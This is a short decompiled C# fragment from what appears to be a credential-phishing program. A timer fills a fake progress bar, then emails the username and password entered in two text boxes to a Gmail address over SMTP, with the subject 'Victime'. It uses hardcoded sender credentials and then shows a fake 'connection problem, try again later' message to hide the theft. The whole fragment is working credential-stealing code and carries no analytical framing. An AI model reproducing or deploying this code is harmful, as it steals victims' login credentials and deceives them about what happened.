// Bot.Form1
private void Timer1_Tick(object sender, EventArgs e)
{
checked
{
try
{
ProgressBar progressBar = this.ProgressBar1;
progressBar.Value += 10;
}
catch (Exception arg_21_0)
{
ProjectData.SetProjectError(arg_21_0);
this.ProgressBar1.Value = 100;
this.Timer1.Stop();
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress("
[email protected]");
mailMessage.To.Add("
[email protected]");
mailMessage.Subject = "Victime";
mailMessage.Body = "le nom d utulisateur est :" + this.TextBox1.Text + " mot de passe est :" + this.TextBox2.Text;
SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587);
smtpClient.EnableSsl = true;
smtpClient.Credentials = new NetworkCredential("
[email protected]", "badrleroi");
try
{
smtpClient.Send(mailMessage);
}
catch (Exception expr_DA)
{
ProjectData.SetProjectError(expr_DA);
Exception ex = expr_DA;
Exception ex2 = ex;
string text = string.Empty;
while (ex2 != null)
{
text += ex2.ToString();
ex2 = ex2.InnerException;
}
Interaction.MsgBox(text, MsgBoxStyle.OkOnly, null);
ProjectData.ClearProjectError();
}
Interaction.MsgBox("Problème lors de la connexion, merci de réessayer ultérieurement !", MsgBoxStyle.OkOnly, null);
this.Close();
ProjectData.ClearProjectError();
}
}
}